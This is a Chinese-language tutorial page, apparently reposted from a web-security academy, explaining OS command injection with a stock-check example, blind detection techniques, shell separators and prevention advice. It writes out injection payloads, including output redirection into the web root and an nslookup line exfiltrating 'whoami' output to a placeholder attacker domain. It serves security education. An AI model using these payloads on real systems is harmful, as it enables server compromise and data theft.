【Academy】OS command injection 操作系统命令注入

OS command injection 操作系统命令注入

  • 1. 什么是OS命令注入?
  • 2. 注入操作系统命令
  • 3. Blind OS命令注入漏洞
  • 4. 注入操作系统命令的方法
  • 5. 如何防止OS命令注入攻击

1. 什么是OS命令注入?

操作系统命令注入也称为shell注入。它允许攻击者在运行应用程序的服务器上执行操作系统(OS)命令,通常会完全危及应用程序及其数据。通常,攻击者可以利用操作系统命令注入漏洞来危害托管基础架构的其他部分,并利用信任关系将攻击转移到组织内的其他系统。

2. 注入操作系统命令

在这个例子中,一个应用程序让用户查看某个商品在某个特定商店中是否有库存。此信息通过URL访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供股票信息,应用程序必须查询各种系统。由于历史原因,该功能是通过调用一个shell命令来实现的,该命令将产品和商店ID作为参数:

stockreport.pl 381 29

此命令输出指定项目的库存状态,并返回给用户。

该应用程序没有对操作系统命令注入实施防御,因此攻击者可以提交以下输入来执行任意命令:

& echo aiwefwlguh &

如果此输入在productID参数中提交,则应用程序执行的命令为:

stockreport.pl & echo aiwefwlguh & 29

echo命令使提供的字符串在输出中回显。这是测试某些类型的OS命令注入的有用方法。&字符是shell命令分隔符。在本例中,它导致三个单独的命令依次执行。返回给用户的输出是:

Error - productID was not provided
aiwefwlguh
29: command not found

这三行产出表明:
原始的stockreport.pl命令在没有预期参数的情况下执行,因此返回错误消息。
执行注入的echo命令,并在输出中回显提供的字符串。
原始参数29作为命令执行,这导致了错误。

在注入的命令之后放置额外的命令分隔符&是有用的,因为它将注入的命令与注入点之后的任何命令分开。这减少了后续操作阻止插入的命令执行的可能性。

  • 有用的命令
用途linuxwindows
当前用户名whoamiwhoami
操作系统uname -aver
网络配置ifconfigipconfig /all
网络连接netstat -annetstat -an
查看进程ps -eftasklist

3. Blind OS命令注入漏洞

许多操作系统命令注入的实例都是盲注漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用,但需要不同的技术。

举个例子,假设一个网站允许用户提交关于该网站的反馈。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序向站点管理员生成包含反馈的电子邮件。要做到这一点,它会调用mail程序并提交详细信息:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用echo有效负载将不起作用。在这种情况下,可以使用各种其他技术来检测和利用漏洞。

  • 使用时间延迟检测盲OS命令注入

您可以使用插入的命令来触发时间延迟,使您能够根据应用程序响应所需的时间来确认命令已执行。ping命令是一个很好的方法,因为它允许您指定要发送的数据包的数量。这使您能够控制命令运行所需的时间:

& ping -c 10 127.0.0.1 &

此命令会使应用程序ping其环回网络适配器10秒。

  • 通过重定向输出来利用盲OS命令注入

您可以将插入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件,并查看注入命令的输出。

  • 利用带外的操作系统命令盲目注入(OAST)技术

您可以使用一个注入的命令来触发与您所控制的系统的带外网络交互(使用OAST技术)。例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视查找是否发生,以确认命令是否成功注入。

  • 带外通道提供了一种简单的方法来从注入的命令中提取输出:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这会导致DNS查找攻击者的域,其中包含whoami命令的结果:

wwwuser.kgji2ohoyw.web-attacker.com

4. 注入操作系统命令的方法

您可以使用许多shell元字符来执行OS命令注入攻击。
许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符在基于Windows和Unix的系统上都有效:

&
&&
|
||

以下命令分隔符仅适用于基于Unix的系统:

  ;0x0a #新行\n #新行

在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中执行插入命令的内联执行:

`
$(

不同的shell元字符具有微妙的不同行为,这些行为可能会改变它们在某些情况下是否有效。这可能会影响它们是否允许带内检索命令输出或仅用于盲注入利用。
有时,您控制的输入在原始命令中出现在引号内。在这种情况下,您需要在使用合适的shell元字符注入新命令之前终止引用的上下文(使用"')。

5. 如何防止OS命令注入攻击

防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。在几乎所有情况下,都有不同的方法来使用更安全的平台API实现所需的功能。

如果必须使用用户提供的输入调用OS命令,则必须执行强输入验证。有效验证的一些示例包括:

  • 根据允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入是否仅包含字母数字字符,不包含其他语法或空格。

不要试图通过转义shell元字符来清理输入。在实践中,这太容易出错,并且很容易被熟练的攻击者绕过。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/30632.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车载网络安全指南 网络安全框架(二)

返回总目录->返回总目录<- 目录 一、概述 二、网络安全组织管理 三、网络安全活动 四、支撑保障 一、概述 汽车电子系统网络安全活动框架包含汽车电子系统网络安全活动、组织管理以及支持保障。其中,网络安全管理活动是框架的核心,主要指汽车电子系统生命周期各阶段…

Agentic RAG 与图任务编排

一个朴素的 RAG 系统流程是这样的&#xff1a;先由用户提出问题&#xff0c;然后系统基于用户提问进行召回&#xff0c;对召回结果进行重排序&#xff0c;最后拼接提示词后送给 LLM 生成答案。 一部分简单场景下&#xff0c;朴素的 RAG 已经可以满足用户意图明确的场景的要求&a…

无线麦克风推荐哪些品牌,热门领夹无线麦克风哪个好,看本期文章

​在信息爆炸的今天&#xff0c;高品质的无线领夹麦克风能让声音更清晰响亮。技术发展带来多样化选择同时也带来选择困难。根据多年使用经验和行业反馈&#xff0c;我推荐一系列可靠、易用且性价比高的无线领夹麦克风&#xff0c;助你作出明智选择。还要不知道该怎么选无线领夹…

深度学习探索-基础篇-正则化篇

文章目录 一、正则化介绍1.1 正则化的简介1.2 正则化的方法介绍1.3 正则化的用途 二、正则化的详细介绍2.1 L1正则化2.2 L2正则化2.2.1 L2正则化的工作原理2.2.2 如何在训练中应用L2正则化2.2.3 L2正则化的效果 2.3 Weight Decay2.4 Dropout 一、正则化介绍 1.1 正则化的简介 …

AJAX 综合案例-day2

Bootstrap 弹框 功能&#xff1a;不离开当前页面&#xff0c;显示单独内容&#xff0c;供用户操作 步骤&#xff1a; 1. 引入 bootstrap.css 和 bootstrap.js 2. 准备 弹框标签 &#xff0c;确认结构 3. 通过 自定义属性 &#xff0c;控制弹框的 显示 和 隐藏 1. 通过属性…

【中南林业科技大学校园生存指南】学业指南

前言 本专栏所有内容来自同学们所提供的建议&#xff0c;已经征得收集者意见在此发布。 学业指南 关于学业指南的设想源于诸多任课教师对于课程细节的描述不够清晰明确。同学们在获取课程信息&#xff0c;如教师评价、课程覆盖范围及往年考试试卷时&#xff0c;往往依赖于高…

人工智能 -- AI常用算法

人工智能是一门致力于研究、开发和实现智能系统的学科。它通过模拟人类的认知和学习过程&#xff0c;使计算机系统能够执行类似于人类的智能活动。人工智能技术涵盖了多个领域&#xff0c;包括机器学习、深度学习、自然语言处理和专家系统等。这些技术被广泛应用于各个行业&…

08--LVS网站高并发解决方案

前言&#xff1a;LVS&#xff0c;工作稳定&#xff0c;抗负载能力强&#xff0c;属于运维基础&#xff0c;这里将lvs两种模式的部署方式在这里记录一下&#xff0c;并在示例完成后&#xff0c;补充一下基础概念。本章不可避免的涉及到一些网络方面知识&#xff0c;会形象简单的…

PostgreSQL源码分析——pg_waldump

PG中有个可以打印WAL日志信息的工具&#xff0c;pg_waldump&#xff0c;对于开发人员来说&#xff0c;掌握该工具是十分有必要的。 用法 具体用法这里不去详解&#xff0c;可见官网pg_waldump文档。 postgresslpc:~$ pg_waldump --help pg_waldump decodes and displays Pos…

C#.Net筑基-集合知识全解

01、集合基础知识 .Net 中提供了一系列的管理对象集合的类型&#xff0c;数组、可变列表、字典等。从类型安全上集合分为两类&#xff0c;泛型集合 和 非泛型集合&#xff0c;传统的非泛型集合存储为Object&#xff0c;需要类型转。而泛型集合提供了更好的性能、编译时类型安全…

华为数通——ACL

ACL基本介绍 ACL:访问控制列表&#xff0c;通过端口对数据流进行过滤&#xff0c;ACL判别依据是五元组&#xff1a;源IP地址&#xff0c;源端口&#xff0c;目的IP地址&#xff0c;目的端口、协议。&#xff08;ACL工作于OSI模型第三层&#xff0c;是路由器和三层交换机接口的…

SpringBoot的配置文件和YAML文件的语法

1.SpringBoot的有两种格式的全局配置文件&#xff0c;使用任何一个功能都是一样的 注意&#xff1a;SpringBoot的全局配置文件名都是固定的application.xxx ① application.properties&#xff0c; 这个是默认Spring initializr默认自动生成的配置文件&#xff0c;也是我们属…

2024免费数据恢复工具EasyRecovery电脑必备软件

&#x1f389; 数据安全小能手&#xff0c;EasyRecovery最新功能揭秘 &#x1f513; 亲爱的小红书的朋友们&#xff01;你们有没有因为不小心删除了重要文件而焦急万分&#xff1f;或者因为电脑突然崩溃&#xff0c;担心珍贵的资料丢失&#xff1f;别怕&#xff0c;今天我就来给…

HAL-DMA中断空闲接受不定长数据

title: HAL-DMA中断空闲接受不定长数据 tags: STM32HalCubemax 面对无规律长度的数据帧如何处理&#xff1f; 不定长数据接收可以使用每帧数据发送完成后会有一定的空闲时间"帧的时间间隔?" 如果你想每帧都要可以采用dma加空闲中断的方式空闲中断一次就是一帧数据…

while循环或for循环写九九乘法表

print("\n") i1 while i<9:j1while j<i:print(f"{j}*{i}{i*j}\t",end)j1print("\n")i1 print(\n) for i in range(1,10):for j in range(1,10):if j<i:print(f"{i}*{j}{i*j}\t",end)else:breakprint(\n)

岁月长河中的温柔等待

在那个年代&#xff0c;爱情往往像是一条静静流淌的小河&#xff0c;不动声色却又波澜不惊。在一个小村庄里&#xff0c;住着一对中年夫妻&#xff0c;人们叫他们李大叔和赵阿姨。他们的故事&#xff0c;就像是那个时代的缩影&#xff0c;承载着岁月的沧桑与深情的守候。 李大…

【CT】LeetCode手撕—160. 相交链表

目录 题目1- 思路2- 实现⭐160. 相交链表——题解思路 3- ACM 实现 题目 原题连接&#xff1a;160. 相交链表 1- 思路 模式识别&#xff1a;相交链表 ——> 判断是否相交 思路 保证 headA 是最长的那个链表&#xff0c;之后对其开始依次遍历 2- 实现 ⭐160. 相交链表—…

基于振弦采集仪的地下综合管廊工程安全监测技术研究

基于振弦采集仪的地下综合管廊工程安全监测技术研究 地下综合管廊工程是一项重要的城市基础设施工程&#xff0c;承载着城市供水、供电、供热、排水等重要功能。为了确保地下综合管廊工程的安全运行&#xff0c;需要进行有效的安全监测。本文将重点研究基于振弦采集仪的地下综…

【HarmonyOS NEXT】使用RSA非对称密钥分段加解密

加密 调用cryptoFramework.createAsyKeyGenerator、AsyKeyGenerator.generateKeyPair&#xff0c;生成RSA密钥类型为RSA1024、素数个数为2&#xff08;不填默认&#xff09;的非对称密钥对&#xff08;KeyPair&#xff09;。KeyPair对象中包括公钥PubKey、私钥PriKey。 如何生…

【中南林业科技大学校园生存指南】序 | 大学之道

前言 本专栏所有内容来自同学们所提供的建议&#xff0c;已经征得收集者意见在此发布。 由于刚开始做&#xff0c;故后续内容会在积累一定程度时发布&#xff0c;感谢支持。 序 回顾大学四年&#xff0c;我仔细梳理了每一刻&#xff0c;把它们凝结成文字&#xff0c;记录下我…